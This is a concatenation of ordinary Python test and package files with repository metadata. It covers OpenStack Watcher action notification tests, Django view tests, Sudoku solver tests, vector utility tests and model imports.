2nd notification is because we created the action plan object. self.assertEqual(4, self.m_notifier.info.call_count) notification = self.m_notifier.info.call_args[1] payload = notification['payload'] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionDeletePayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'DELETED', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } }, payload ) def test_send_action_execution(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.PENDING, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) notifications.action.send_execution_notification( mock.MagicMock(), action, 'execution', phase='start', host='node0') # The 1st notification is because we created the audit object. # The 2nd notification is because we created the action plan object. self.assertEqual(4, self.m_notifier.info.call_count) notification = self.m_notifier.info.call_args[1] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'event_type': 'action.execution.start', 'payload': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionExecutionPayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'fault': None, 'updated_at': None, 'state': 'PENDING', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } } }, notification ) def test_send_action_execution_with_error(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.FAILED, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) try: # This is to load the exception in sys.exc_info() raise exception.WatcherException("TEST") except exception.WatcherException: notifications.action.send_execution_notification( mock.MagicMock(), action, 'execution', phase='error', host='node0', priority='error') self.assertEqual(1, self.m_notifier.error.call_count) notification = self.m_notifier.error.call_args[1] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'event_type': 'action.execution.error', 'payload': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionExecutionPayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'fault': { 'watcher_object.data': { 'exception': u'WatcherException', 'exception_message': u'TEST', 'function_name': ( 'test_send_action_execution_with_error'), 'module_name': ( 'watcher.tests.notifications.' 'test_action_notification') }, 'watcher_object.name': 'ExceptionPayload', 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0' }, 'updated_at': None, 'state': 'FAILED', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } } }, notification ) def test_send_action_cancel(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.PENDING, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) notifications.action.send_cancel_notification( mock.MagicMock(), action, 'cancel', phase='start', host='node0') # The 1st notification is because we created the audit object. # The 2nd notification is because we created the action plan object. self.assertEqual(4, self.m_notifier.info.call_count) notification = self.m_notifier.info.call_args[1] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'event_type': 'action.cancel.start', 'payload': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionCancelPayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'fault': None, 'updated_at': None, 'state': 'PENDING', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } } }, notification ) def test_send_action_cancel_with_error(self): action = utils.create_test_action( mock.Mock(), state=objects.action.State.FAILED, action_type='nop', input_parameters={'param1': 1, 'param2': 2}, parents=[], action_plan_id=self.action_plan.id) try: # This is to load the exception in sys.exc_info() raise exception.WatcherException("TEST") except exception.WatcherException: notifications.action.send_cancel_notification( mock.MagicMock(), action, 'cancel', phase='error', host='node0', priority='error') self.assertEqual(1, self.m_notifier.error.call_count) notification = self.m_notifier.error.call_args[1] self.assertEqual("infra-optim:node0", self.m_notifier.publisher_id) self.assertDictEqual( { 'event_type': 'action.cancel.error', 'payload': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0', 'watcher_object.name': 'ActionCancelPayload', 'watcher_object.data': { 'uuid': '10a47dd1-4874-4298-91cf-eff046dbdb8d', 'input_parameters': { 'param2': 2, 'param1': 1 }, 'created_at': '2016-10-18T09:52:05Z', 'fault': { 'watcher_object.data': { 'exception': u'WatcherException', 'exception_message': u'TEST', 'function_name': ( 'test_send_action_cancel_with_error'), 'module_name': ( 'watcher.tests.notifications.' 'test_action_notification') }, 'watcher_object.name': 'ExceptionPayload', 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.0' }, 'updated_at': None, 'state': 'FAILED', 'action_plan': { 'watcher_object.namespace': 'watcher', 'watcher_object.version': '1.1', 'watcher_object.name': 'TerseActionPlanPayload', 'watcher_object.data': { 'uuid': '76be87bd-3422-43f9-93a0-e85a577e3061', 'global_efficacy': [], 'created_at': '2016-10-18T09:52:05Z', 'updated_at': None, 'state': 'ONGOING', 'audit_uuid': '10a47dd1-4874-4298' '-91cf-eff046dbdb8d', 'strategy_uuid': 'cb3d0b58-4415-4d90' '-b75b-1e96878730e3', 'deleted_at': None } }, 'parents': [], 'action_type': 'nop', 'deleted_at': None } } }, notification )

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0

null

0

1

0

1

0

null

0

7

0ca6e76784d8cc4d7fc179379ebb67bbcb000548

5,945

py

Python

vol/test_views.py

volCommunity/vol-django

06c625f1cb2ca4b619dfcfa04a9ded445600ad7f

[ "Apache-2.0" ]

5

2017-10-11T03:40:07.000Z

2018-07-09T12:30:13.000Z

vol/test_views.py

volCommunity/vol-django

06c625f1cb2ca4b619dfcfa04a9ded445600ad7f

[ "Apache-2.0" ]

105

2017-09-28T00:41:00.000Z

2021-06-01T21:26:03.000Z

vol/test_views.py

volCommunity/vol-django

06c625f1cb2ca4b619dfcfa04a9ded445600ad7f

[ "Apache-2.0" ]

3

2017-10-26T22:53:51.000Z

2017-11-01T18:43:22.000Z

from django.core.urlresolvers import reverse from django.test import TransactionTestCase from vol.factories import LabelsFactory, JobFactory class IndexViewTests(TransactionTestCase): # Assert we are redirected to a secure url def test_index_insecure_redirects(self): response = self.client.get(reverse('index'), secure=False) self.assertEqual(response.status_code, 301) def test_index_view(self): response = self.client.get(reverse('index'), secure=True) self.assertEqual(response.status_code, 200) class ResultsViewTests(TransactionTestCase): def test_get_results_none(self): response = self.client.get('/results/Nonesense/Nonesense', secure=True) self.assertEqual(response.context[0]['total_job_count'], 0) self.assertEqual(response.context[0]['match_count'], 0) self.assertEqual(response.context[0]['interests_matches_count'], 0) self.assertEqual(response.context[0]['location_matches_count'], 0) self.assertEqual(response.status_code, 200) def test_get_results_one_complete_match(self): label = LabelsFactory(name="nature") job = JobFactory() job.labels.add(label.id) response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 1) self.assertEqual(response.context[0]['match_count'], 1) self.assertEqual(response.context[0]['interests_matches_count'], 1) self.assertEqual(response.context[0]['location_matches_count'], 1) self.assertEqual(response.status_code, 200) def test_get_results_one_location_only(self): label = LabelsFactory() job = JobFactory() job.labels.add(label.id) response = self.client.get('/results/wellington/Nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 1) self.assertEqual(response.context[0]['match_count'], 1) self.assertEqual(response.context[0]['interests_matches_count'], 0) self.assertEqual(response.context[0]['location_matches_count'], 1) self.assertEqual(response.status_code, 200) def test_get_results_one_label_only(self): label = LabelsFactory(name="nature") job = JobFactory(city="Dunedin") job.labels.add(label.id) response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 1) self.assertEqual(response.context[0]['match_count'], 0) self.assertEqual(response.context[0]['interests_matches_count'], 1) self.assertEqual(response.context[0]['location_matches_count'], 0) self.assertEqual(response.status_code, 200) def test_get_results_many(self): label = LabelsFactory(name="nature") job_one = JobFactory() job_one.labels.add(label.id) job_two = JobFactory(title="Butterfly catcher", url="http://www.example.com/") job_two.labels.add(label.id) response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 2) self.assertEqual(response.context[0]['match_count'], 2) self.assertEqual(response.context[0]['interests_matches_count'], 2) self.assertEqual(response.context[0]['location_matches_count'], 2) self.assertEqual(response.status_code, 200) def test_get_results_many_complete_match(self): label = LabelsFactory(name="nature") job_one = JobFactory() job_one.labels.add(label.id) job_two = JobFactory(title="Butterfly catcher", url="http://www.example.com/") job_two.labels.add(label.id) response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 2) self.assertEqual(response.context[0]['match_count'], 2) self.assertEqual(response.context[0]['interests_matches_count'], 2) self.assertEqual(response.context[0]['location_matches_count'], 2) self.assertEqual(response.status_code, 200) def test_get_results_many_location_only(self): JobFactory() JobFactory(title="Butterfly catcher", url="http://www.example.com/") response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 2) self.assertEqual(response.context[0]['match_count'], 2) self.assertEqual(response.context[0]['interests_matches_count'], 0) self.assertEqual(response.context[0]['location_matches_count'], 2) self.assertEqual(response.status_code, 200) def test_get_results_many_label_only(self): label = LabelsFactory(name="nature") job_one = JobFactory(city="Dunedin") job_one.labels.add(label.id) job_two = JobFactory(title="Butterfly catcher", city="Amsterdam") job_two.labels.add(label.id) response = self.client.get('/results/wellington/nature', secure=True) self.assertEqual(response.context[0]['total_job_count'], 2) self.assertEqual(response.context[0]['match_count'], 0) self.assertEqual(response.context[0]['interests_matches_count'], 2) self.assertEqual(response.context[0]['location_matches_count'], 0) self.assertEqual(response.status_code, 200) class JobViewTests(TransactionTestCase): def test_get_job_none(self): response = self.client.get('/jobs/028b7d48-3691-459e-93c3-5cd147a92dfd', secure=True) self.assertEqual(response.status_code, 404) def test_get_job_one(self): job = JobFactory() response = self.client.get('/jobs/{}'.format(job.slug), secure=True) self.assertEqual(response.context[0]['job'], job)

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94

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0

0.419048

1

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false

0

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0

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0

null

0

1

0

null

0

1

0

9

0cca986ef8ce8b81444e34bedf8a15f55487b9ee

6,866

py

Python

tests/test_sudoku_pytest.py

nikhil642002/playground

f86276e4252c8c4eba9798157954a1502543faa9

[ "MIT" ]

null

tests/test_sudoku_pytest.py

nikhil642002/playground

f86276e4252c8c4eba9798157954a1502543faa9

[ "MIT" ]

null

tests/test_sudoku_pytest.py

nikhil642002/playground

f86276e4252c8c4eba9798157954a1502543faa9

[ "MIT" ]

1

2020-10-01T12:54:51.000Z

import Sudoku i = [a for a in range(1, 10)] # def template(): # input = [[i, i, i, i, i, i, i, i, i], # Template # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i], # [i, i, i, i, i, i, i, i, i]] # assert sudoku.main(input) == [[6, 5, 8, 3, 4, 1, 2, 7, 9], # [9, 3, 1, 2, 7, 6, 8, 4, 5], # [2, 7, 4, 8, 9, 5, 3, 1, 6], # [7, 2, 5, 1, 3, 9, 6, 8, 4], # [4, 1, 9, 6, 8, 2, 7, 5, 3], # [3, 8, 6, 7, 5, 4, 9, 2, 1], # [1, 4, 2, 9, 6, 7, 5, 3, 8], # [5, 6, 3, 4, 2, 8, 1, 9, 7], # [8, 9, 7, 5, 1, 3, 4, 6, 2]] def test_anti_brute_force(): input = [[i, i, i, i, i, i, i, i, i], [i, i, i, i, i, 3, i, 8, 5], [i, i, 1, i, 2, i, i, i, i], [i, i, i, 5, i, 7, i, i, i], [i, i, 4, i, i, i, 1, i, i], [i, 9, i, i, i, i, i, i, i], [5, i, i, i, i, i, i, 7, 3], [i, i, 2, i, 1, i, i, i, i], [i, i, i, i, 4, i, i, i, 9]] assert Sudoku.main(input) == [[9, 8, 7, 6, 5, 4, 3, 2, 1], [2, 4, 6, 1, 7, 3, 9, 8, 5], [3, 5, 1, 9, 2, 8, 7, 4, 6], [1, 2, 8, 5, 3, 7, 6, 9, 4], [6, 3, 4, 8, 9, 2, 1, 5, 7], [7, 9, 5, 4, 6, 1, 8, 3, 2], [5, 1, 9, 2, 8, 6, 4, 7, 3], [4, 7, 2, 3, 1, 9, 5, 6, 8], [8, 6, 3, 7, 4, 5, 2, 1, 9]] def test_easy(): input = [[5, 3, i, i, 7, i, i, i, i], # Easy [6, i, i, 1, 9, 5, i, i, i], [i, 9, 8, i, i, i, i, 6, i], [8, i, i, i, 6, i, i, i, 3], [4, i, i, 8, i, 3, i, i, 1], [7, i, i, i, 2, i, i, i, 6], [i, 6, i, i, i, i, 2, 8, i], [i, i, i, 4, 1, 9, i, i, 5], [i, i, i, i, 8, i, i, 7, 9]] assert Sudoku.main(input) == [[5, 3, 4, 6, 7, 8, 9, 1, 2], [6, 7, 2, 1, 9, 5, 3, 4, 8], [1, 9, 8, 3, 4, 2, 5, 6, 7], [8, 5, 9, 7, 6, 1, 4, 2, 3], [4, 2, 6, 8, 5, 3, 7, 9, 1], [7, 1, 3, 9, 2, 4, 8, 5, 6], [9, 6, 1, 5, 3, 7, 2, 8, 4], [2, 8, 7, 4, 1, 9, 6, 3, 5], [3, 4, 5, 2, 8, 6, 1, 7, 9]] def test_hard1(): input = [[i, 2, i, i, 1, i, 9, i, i], [7, i, i, i, 8, i, i, i, 2], [i, 5, 8, i, i, i, i, 6, i], [i, i, i, 5, i, i, i, i, 3], [i, 6, i, 1, i, 2, i, 7, i], [1, i, i, i, i, 8, i, i, i], [i, 9, i, i, i, i, 2, 4, i], [3, i, i, i, 4, i, i, i, 9], [i, i, 1, i, 5, i, i, 8, i]] assert Sudoku.main(input) == [[4, 2, 3, 6, 1, 7, 9, 5, 8], [7, 1, 6, 9, 8, 5, 4, 3, 2], [9, 5, 8, 4, 2, 3, 7, 6, 1], [2, 8, 7, 5, 6, 4, 1, 9, 3], [5, 6, 9, 1, 3, 2, 8, 7, 4], [1, 3, 4, 7, 9, 8, 6, 2, 5], [8, 9, 5, 3, 7, 1, 2, 4, 6], [3, 7, 2, 8, 4, 6, 5, 1, 9], [6, 4, 1, 2, 5, 9, 3, 8, 7]] def test_hard2(): input = [[1, 3, 5, i, i, i, i, 7, 8], [i, i, i, i, 4, i, i, i, i], [i, 8, i, i, i, i, i, i, 2], [4, i, i, 6, 2, i, i, i, i], [6, i, 7, 3, i, 4, 2, i, 5], [i, i, i, i, 9, 5, i, i, 4], [8, i, i, i, i, i, i, 9, i], [i, i, i, i, 1, i, i, i, i], [2, 1, i, i, i, i, 8, 4, 3]] assert Sudoku.main(input) == [[1, 3, 5, 2, 6, 9, 4, 7, 8], [7, 6, 2, 8, 4, 3, 1, 5, 9], [9, 8, 4, 1, 5, 7, 3, 6, 2], [4, 5, 8, 6, 2, 1, 9, 3, 7], [6, 9, 7, 3, 8, 4, 2, 1, 5], [3, 2, 1, 7, 9, 5, 6, 8, 4], [8, 7, 6, 4, 3, 2, 5, 9, 1], [5, 4, 3, 9, 1, 8, 7, 2, 6], [2, 1, 9, 5, 7, 6, 8, 4, 3]] def test_hard3(): input = [[6, i, i, 3, 4, i, i, 7, i], [i, 3, i, 2, i, 6, i, i, i], [2, i, 4, i, 9, i, i, 1, i], [7, i, 5, i, i, i, i, 8, i], [i, i, i, i, i, i, i, i, i], [i, 8, i, i, i, i, 9, i, 1], [i, 4, i, i, 6, i, 5, i, 8], [i, i, i, 4, i, 8, i, 9, i], [i, 9, i, i, 1, 3, i, i, 2]] assert Sudoku.main(input) == [[6, 5, 8, 3, 4, 1, 2, 7, 9], [9, 3, 1, 2, 7, 6, 8, 4, 5], [2, 7, 4, 8, 9, 5, 3, 1, 6], [7, 2, 5, 1, 3, 9, 6, 8, 4], [4, 1, 9, 6, 8, 2, 7, 5, 3], [3, 8, 6, 7, 5, 4, 9, 2, 1], [1, 4, 2, 9, 6, 7, 5, 3, 8], [5, 6, 3, 4, 2, 8, 1, 9, 7], [8, 9, 7, 5, 1, 3, 4, 6, 2]] def test_other(): input = [[0, 0, 0, 9, 0, 0, 8, 0, 0], [0, 0, 4, 0, 1, 7, 0, 0, 9], [0, 0, 7, 0, 0, 4, 0, 0, 0], [0, 8, 0, 0, 4, 0, 9, 0, 1], [0, 1, 0, 0, 0, 0, 0, 5, 0], [7, 0, 5, 0, 2, 0, 0, 3, 0], [0, 0, 0, 5, 0, 0, 6, 0, 0], [3, 0, 0, 6, 8, 0, 7, 0, 0], [0, 0, 2, 0, 0, 1, 0, 0, 0]] assert Sudoku.main(input) == [[5, 2, 1, 9, 3, 6, 8, 4, 7], [8, 3, 4, 2, 1, 7, 5, 6, 9], [9, 6, 7, 8, 5, 4, 1, 2, 3], [2, 8, 6, 3, 4, 5, 9, 7, 1], [4, 1, 3, 7, 6, 9, 2, 5, 8], [7, 9, 5, 1, 2, 8, 4, 3, 6], [1, 4, 8, 5, 7, 3, 6, 9, 2], [3, 5, 9, 6, 8, 2, 7, 1, 4], [6, 7, 2, 4, 9, 1, 3, 8, 5]]

45.470199

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0.348307

0.319281

0.307533

0.25501

0

0.265874

0.571075

6,866

150

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45.773333

0.225467

0.14215

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0.051724

false

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null

1

0

1

0

1

0

null

0

7

49066de616512e45cae038a1c2f13b997809f23e

77

py

Python

website/assets/models/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

1

2021-02-24T14:33:09.000Z

website/assets/models/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

2

2022-01-13T04:03:38.000Z

2022-03-12T01:03:10.000Z

website/assets/models/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

null

from assets.models.asset import * from assets.models.asset_location import *

25.666667

42

0.818182

11

77

5.636364

0.545455

0.322581

0.516129

0.677419

0

0.103896

77

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1

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true

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1

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1

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1

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1

0

null

0

1

0

1

0

7

490689ef8ddc9c463a5d1978d3f426b0dc4382c9

5,361

py

Python

test/test_feature_vector_creation_utilities.py

jeffharwell/viewpointdiversity

a9734f47e09e9269632d99139e4b58f5a68f44e6

[ "MIT" ]

null

test/test_feature_vector_creation_utilities.py

jeffharwell/viewpointdiversity

a9734f47e09e9269632d99139e4b58f5a68f44e6

[ "MIT" ]

null

test/test_feature_vector_creation_utilities.py

jeffharwell/viewpointdiversity

a9734f47e09e9269632d99139e4b58f5a68f44e6

[ "MIT" ]

null

import unittest import numpy as np from src.viewpointdiversitydetection.feature_vector_creation_utilities import create_has_sentiments_present_vector from src.viewpointdiversitydetection.feature_vector_creation_utilities import create_word2vec_present_vector from src.viewpointdiversitydetection.feature_vector_creation_utilities import combine_as_average, combine_as_average_np class FeatureVectorCreationUtilitiesTest(unittest.TestCase): def test_create_has_sentiments_present_vector(self): """ Test class to ensure that the function create_has_sentiments_present_vector is actually working. """ v1 = [0.345, 0.655, 0, -0.3125, 0.6875, 0.345, 0.655, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] self.assertTrue(create_has_sentiments_present_vector(v1, v2) == [1, 0]) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0, 0.7695000000000001, 0.3073333333333333, 0.5, 1.0, 0.0, 1.0, 0.375] self.assertTrue(create_has_sentiments_present_vector(v1, v2) == [0, 1]) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] self.assertTrue(create_has_sentiments_present_vector(v1, v2) == [0, 0]) v1 = [0.34, 0.66, 0, 0.2, 0.2, 0.34, 0.66, 0.0] v2 = [0.3415, 0.579, 0.159, 0.3125, 0.4625, 0.371, 0.629, 0.159] self.assertTrue(create_has_sentiments_present_vector(v1, v2) == [1, 1]) def test_create_word2vec_present_vector(self): """ Test class to ensure that the function create_has_sentiments_present_vector is actually working. """ # v1 = [0.345, 0.655, 0, -0.3125, 0.6875, 0.345, 0.655, 0.0] # v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v1 = np.random.rand(300) v2 = np.zeros(300) self.assertTrue(create_word2vec_present_vector(v1, v2) == [1, 0]) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0, 0.7695000000000001, 0.3073333333333333, 0.5, 1.0, 0.0, 1.0, 0.375] v1 = np.zeros(300) v2 = np.random.rand(300) self.assertTrue(create_word2vec_present_vector(v1, v2) == [0, 1]) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v1 = np.zeros(300) v2 = np.zeros(300) self.assertTrue(create_word2vec_present_vector(v1, v2) == [0, 0]) v1 = [0.34, 0.66, 0, 0.2, 0.2, 0.34, 0.66, 0.0] v2 = [0.3415, 0.579, 0.159, 0.3125, 0.4625, 0.371, 0.629, 0.159] v1 = np.random.rand(300) v2 = np.random.rand(300) self.assertTrue(create_word2vec_present_vector(v1, v2) == [1, 1]) def test_combine_as_average(self): """ Test class to ensure that the function create_has_sentiments_present_vector is actually working. """ include_zeros = True v1 = [0.345, 0.655, 0, -0.3125, 0.6875, 0.345, 0.655, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] self.assertTrue(combine_as_average(v1, v2) == list(np.divide(v1, 2.0))) self.assertTrue(combine_as_average(v1, v2, include_zeros=False) == v1) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0, 0.7695000000000001, 0.3073333333333333, 0.5, 1.0, 0.0, 1.0, 0.375] self.assertTrue(combine_as_average(v1, v2) == list(np.divide(v2, 2.0))) self.assertTrue(combine_as_average(v1, v2, include_zeros=False) == v2) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] self.assertTrue(combine_as_average(v1, v2) == v1) self.assertTrue(combine_as_average(v1, v2, include_zeros=False) == v1) v1 = [0.34, 0.66, 0, 0.2, 0.2, 0.34, 0.66, 0.0] v2 = [0.3415, 0.579, 0.159, 0.3125, 0.4625, 0.371, 0.629, 0.159] self.assertTrue(combine_as_average(v1, v2) == list(np.divide(np.sum([np.array(v1), np.array(v2)], axis=0), 2))) def test_combine_as_average_np(self): """ Test class to ensure that the function create_has_sentiments_present_vector is actually working. """ include_zeros = True v1 = np.array([0.345, 0.655, 0, -0.3125, 0.6875, 0.345, 0.655, 0.0]) v2 = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]) self.assertTrue(np.array_equal(combine_as_average_np(v1, v2), np.divide(v1, 2.0))) self.assertTrue(np.array_equal(combine_as_average_np(v1, v2, include_zeros=False), v1)) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0, 0.7695000000000001, 0.3073333333333333, 0.5, 1.0, 0.0, 1.0, 0.375] self.assertTrue(np.array_equal(combine_as_average(v1, v2), np.divide(v2, 2.0))) self.assertTrue(np.array_equal(combine_as_average(v1, v2, include_zeros=False), v2)) v1 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] v2 = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] self.assertTrue(np.array_equal(combine_as_average(v1, v2), v1)) self.assertTrue(np.array_equal(combine_as_average(v1, v2, include_zeros=False), v1)) v1 = [0.34, 0.66, 0, 0.2, 0.2, 0.34, 0.66, 0.0] v2 = [0.3415, 0.579, 0.159, 0.3125, 0.4625, 0.371, 0.629, 0.159] self.assertTrue(np.array_equal(combine_as_average(v1, v2), np.divide(np.sum([np.array(v1), np.array(v2)], axis=0), 2))) if __name__ == '__main__': unittest.main()

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null

0

9

0b2fa418deb2ed032f17aa231cb7b546a6c9c219

1,217

py

Python

kashgari/tasks/labeling/__init__.py

ericperfect/Bert_Position_BiLSTM_Attention_CRF_LSTMDecoder

6c38d25572612ffc74c9c35c3e9c7382deca334c

[ "Apache-2.0" ]

16

2020-12-02T13:44:20.000Z

2022-03-16T00:49:34.000Z

kashgari/tasks/labeling/__init__.py

ericperfect/Bert_Position_BiLSTM_Attention_CRF_LSTMDecoder

6c38d25572612ffc74c9c35c3e9c7382deca334c

[ "Apache-2.0" ]

1

2022-01-11T08:14:05.000Z

2022-02-25T09:29:17.000Z

kashgari/tasks/labeling/__init__.py

ericperfect/Bert_Position_BiLSTM_Attention_CRF_LSTMDecoder

6c38d25572612ffc74c9c35c3e9c7382deca334c

[ "Apache-2.0" ]

3

2021-06-18T00:00:58.000Z

2022-03-26T11:35:24.000Z

# encoding: utf-8 # author: BrikerMan # contact: eliyar917@gmail.com # blog: https://eliyar.biz # file: __init__.py # time: 2019-05-20 11:34 from kashgari.tasks.labeling.models import CNN_LSTM_Model from kashgari.tasks.labeling.models import Bert_Position_BiLSTM_Attention_CRF_LSTMDecoder_Model from kashgari.tasks.labeling.models import BiLSTM_Model from kashgari.tasks.labeling.models import BiLSTM_CRF_Model from kashgari.tasks.labeling.models import CNN_BiLSTM_CRF_Model from kashgari.tasks.labeling.models import CNN_BiLSTM_CRF_Model_Attenetion from kashgari.tasks.labeling.models import CNN_BiLSTM_CRF_Model_Position from kashgari.tasks.labeling.models import BiGRU_Model from kashgari.tasks.labeling.models import BiGRU_CRF_Model from kashgari.tasks.labeling.models import CNN_BiLSTM_CRF_Model_WordSegmentation from kashgari.tasks.labeling.models import BiLSTM_CRF_Model_Attention from kashgari.tasks.labeling.models import BiLSTM_LSTMDecoder_CRF_Model from kashgari.tasks.labeling.models import BiLSTM_LSTMDecoder_Model from kashgari.tasks.labeling.models import BiLSTM_CRF_Model_Position from kashgari.tasks.labeling.models import Bert_BiLSTM_CRF_Model if __name__ == "__main__": print("Hello world")

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0

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0.075596

1,217

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true

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null

0

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1

0

1

0

7

0b6af29a73dfb39a27243337e04c1256d5ed0e7a

13,316

py

Python

tests/test_cost_basis.py

chesswiz16/Trader

008308016be6803094b4f5891efa8687af95bacf

[ "MIT" ]

1

2018-01-11T14:39:18.000Z

tests/test_cost_basis.py

chesswiz16/Trader

008308016be6803094b4f5891efa8687af95bacf

[ "MIT" ]

null

tests/test_cost_basis.py

chesswiz16/Trader

008308016be6803094b4f5891efa8687af95bacf

[ "MIT" ]

null

